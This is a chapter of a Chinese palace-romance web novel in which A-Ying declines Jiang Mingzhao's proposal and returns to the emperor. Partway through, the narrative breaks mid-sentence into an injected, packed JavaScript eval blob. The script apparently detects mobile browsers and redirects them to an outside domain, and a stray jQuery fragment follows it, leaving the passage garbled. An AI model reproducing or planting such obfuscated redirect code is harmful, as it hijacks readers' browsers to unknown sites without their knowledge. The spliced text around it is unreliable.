15. 心意

作品:《娘娘她独得圣宠

    姚观蕴转身望向阿楹的眼眸,翦水秋瞳,沉静如水。


    她莞尔:“阿楹姑娘应当也听长茂长公主说了梁姑娘和江二公子的事吧?今日恰好遇上了,不妨让他们彼此说个清楚,也好保全女儿家的颜面。”


    阿楹知道,那日赏花宴,这位姚姑娘也在席间,她看到了长茂公主与平慧郡主因为她发生争执的那一幕。


    她微哂,尚未作出回应,姚观蕴又接着道:“我瞧着阿楹姑娘年岁与我一般大,不知……”


    她笑:“倒也并非是打探什么,只是见你与江二公子相谈甚欢,我心里有件事不知当不当问。”


    阿楹听出了她的弦外之音:“我今年便要双十了,当比姚姑娘年长了两岁。”


    至于后一句话,她点头:“姚姑娘有什么问题,直说便是。”


    姚观蕴也不曾犹豫太久,沉思了须臾便朱唇轻启:“不知阿楹姑娘对江二公子可有什么想法?”


    这话已经很直白,差点就明晃晃地问她和江明朝是不是互相确定了心意了。


    阿楹有所预料,却险些失笑出声。


    她故作沉吟:“想法么——”


    姚观蕴静静地望着她,想知道她是承认还是否认。


    若是她承认与江明朝的关系,那她就不必担心陛下会将人纳入后宫。


    但若是否认……


    姚观蕴眸子微眯,不自觉地挺直了脊背。


    “姚姑娘,这事儿我三言两语怕也说不清。”阿楹将话说得模棱两可,语气却十分坦然,“只是我有自知之明,倒也不敢奢求不属于自己的东西。”


    姚观蕴有点意外。


    她深深端详面前之人,却不见她面容上有半点的难堪和自嘲。


    她是真的这样想。


    姚观蕴不禁疑惑:这世上真有人坦然接受自己的命运吗?越是身份低微之人,应当越想着往上攀爬才是。怎么会有人心里没有奢望呢?


    便是她这样的出身,也不甘止步于此。


    阿楹也不管她信不信,转身之际,见那位梁姑娘已经往这边走来了。


    神色倒是平静,看不出什么异样。


    只是阿楹明显察觉到她的视线在自己的身上停留了好一会儿。但最终,她什么也没说。


    彼此点了点头,阿楹原路返回。


    身后,姚观蕴的声音越来越轻:“梁妹妹,江二公子是如何说的……”


    阿楹没有刻意去听这个话题,对江明朝的回答也不甚感兴趣,倒是江明朝见到她,有些紧张地道:“阿楹,我与梁姑娘说清楚了。”


    “姚姑娘没为难你吧?”


    阿楹不明白他怎么会这样想,于是蹙眉反问:“江公子对姚姑娘有偏见?”


    “对她倒没有偏见。”江明朝摆手否认,“只是她与梁姑娘是手帕交,担心她一时误会,故意为难你。”


    阿楹没再接话,正欲喝茶,却见茶杯里的茶水已饮尽。


    她没有再斟一杯,只是握着茶杯细细摩挲了一会儿。


    这其实是扶晓惯用的动作,但跟在他身边久了,她也习惯于在心绪不佳或思忖时做出这样的动作。


    阿楹私下里是个安静之人,江明朝是知道的,但从前与他相处时,他们之间总有说不完的话题,可今日,她沉默的次数好似格外得多。


    他抿了抿唇,像是下定了什么决心似的:“阿楹。”


    阿楹抬眸看她,眼中闪动着细碎的光。


    江明朝掌心握紧,视线紧紧定在女子的脸上:“我若是说……若是说带你去广平郡,你会愿意吗?”


    噗通、噗通。


    这句话,他其实很早就想问出口了了,但在他的计划里,却不是在茶坊这个嘈杂的环境下,而是在一片幽静的花丛中,在日光的沐浴下,在众人的注目下,郑重地询问她的心意。


    但也无妨,他与阿楹心意相通,这就足够了。


    其他的都是点缀,可有可无。


    阿楹目光闪了闪,望着颇是紧张、神情认真的江明朝,不知为何,她的思绪忽然飘远了——


    夺嫡正激烈的那段日子,阿楹过得很煎熬,每每到了夜里她都无法安眠,而那个时候,她便想若是江明朝在她身边就好了,至少能与他谈一谈心,缓一缓心中的愁闷。


    江明朝热情开朗,和她什么话题都能聊得来。她本以为他是了解她的,至少比扶晓了解她更多一些。


    人在脆弱的时候,总是想要有人依赖。


    她那会儿日日胆战心惊,生怕扶晓被人谋害,而自己也会丢了性命。她也因此极端地想过一件事:让江明朝带她走,离开扶晓,离开皇宫。


    夺嫡的时间持续了近三年,才惨烈收场。


    三年的时间,让她从及笄之年到了碧玉年华。①


    年岁的长大,让她逐渐看清了这个世道。


    她也发现自己从前的某些想法多么幼稚,多么天真。


    细细算来,她与江明朝相处得时日也不多,怎么就能轻易相信一个人的真心呢?


    他的身上的确有吸引她的地方,她也曾将目光在他身上久久驻留,可事实上,她并不爱他,又或者说,她对他的感情没有深到必须要在一起的地步。


    除此之外,她发现,她如今已经不能再对他无话不说,袒露心扉了。


    ……


    阿楹将思绪收拢,抿唇一笑:“我想,我大概不太舍得放弃如今的一切。”


    她的语气温柔,一如既往:“所以,对于这件事,我应是不愿意的。”


    阿楹含着笑,口中分明是拒绝的话,却如春风拂面,不带一丝凉意,反叫人觉得理应如此。


    广平郡苦寒,寻常男子都未必能忍受的住,何况一个弱女子呢?


    江明朝顿时懊悔地低下头,为自己的鲁莽而表示歉意:“对不住,我不是那个意思……都是我的错……”


    阿楹摇头,也安慰起他的情绪:“能遇见江公子,是阿楹之幸也。”


    这是她深思熟虑过后的结果。


    在来见江明朝前,她就已经想好了所有的可能。


    在江明朝表明自己可能会去广平郡建功立业之后,她顷刻间就有了决定。


    她不可能离开长安。


    她更受不了那种清苦的日子。


    江明朝无法护住她,也无法给她想要的生活。


    即便不能攀上荣华权势


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973012|177337||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她也不能太过远离繁华之地。


    再者说,她前面十多年吃的苦,已经够多了,人生短短几十年,她总不能应该一直吃苦吧?


    ……


    阿楹没有问江明朝要带她去往何地,江明朝约莫也忘记了此事。总之,二人很快在茶坊门前分开。


    阿楹对他行了个福身礼,而后,毫不留念地转身离开。


    江明朝目送她离去,蓦地,他看到了一个熟悉的剑穗。


    那是他与阿楹之间的信物,此时,它仍好端端地垂挂在女子的腰下。


    不知想到了什么,他的心猛然一颤。


    ***


    时辰还早,阿楹并没有急着回皇宫。


    她排了一会队,在点心铺买了一道时下受欢迎、又合扶潇口味的茶酥,打算送去公主府。


    她想把今日与江明朝的事告诉扶潇,顺便再谋划一下以后的路。


    只是天不遂人愿,她刚到公主府附近,便见扶潇兴冲冲地从府内走出来,而后上了一辆马车。


    那马车上则挂着辛家的标志。


    大抵是辛执言来接她出去散心透气了。


    看着这一幕,阿楹为扶潇感到高兴的同时,心里也隐隐有些艳羡。


    有着青梅竹马的情谊,又两情相悦,这可是世间难得的佳话。


    阿楹在宫外再无相交之人,她只好拎着茶酥,一步步走向皇宫。


    此时还不到晌午,正是平常宫内吃午膳的时候。


    阿楹本想先回屋子,但穿过游廊时,她不知怎的,忽然想起来上次扶晓不用午膳的事,脚步一转,便到了殿门外。


    守在门外的侍卫和宫人对她的忽然到来,都表现得很淡然。


    阿楹随便询问一个宫人:“陛下用过午膳了吗?”


    那宫人摇头:“还不曾,不过姑姑放心,妙菱姑娘已经去传膳了。”


    没用膳,那就还在忙。


    阿楹想了想,踏足了殿内。


    她出入御前各处都不用通传,宫人们已经司空见惯。


    殿内,扶晓依旧伏在桌案上,他微低着头,只对着阿楹露出一张流畅的侧脸,安静的气氛下,他身上也平添了几许柔和。倏地,他笔尖一顿,掀眼朝阿楹望来——


    “阿楹?”


    阿楹毫无防备地一怔。


    明明她走得无声无息,怎么他总能察觉到她的到来呢?


    连一旁的章禄都没发现她呢。


    阿楹上前,盈盈福身:“奴婢恭请陛下圣安。”


    扶晓却不像往日那般说“平身”,他不着痕迹地蹙了蹙眉,瞟了眼外面的天色,方低声:“怎么没在长安都逛一逛?这么早回来,可是连午膳都没用?”


    见他还记得用午膳这件事,阿楹弯了弯黛眉:“陛下教训的是,是奴婢懒怠了。”


    “不过,陛下也还未用膳么?”


    她用了“也”字,这也提醒了扶晓,他立即搁下了手中的朱笔,站起身来:“妙菱已经去传膳了,走吧,一道去用膳。”


    也是这时候,他注意了到阿楹手中拎着的食盒。


    扶晓挑眉,嗓音中染上了些许的愉悦:“这是特意给我带的?”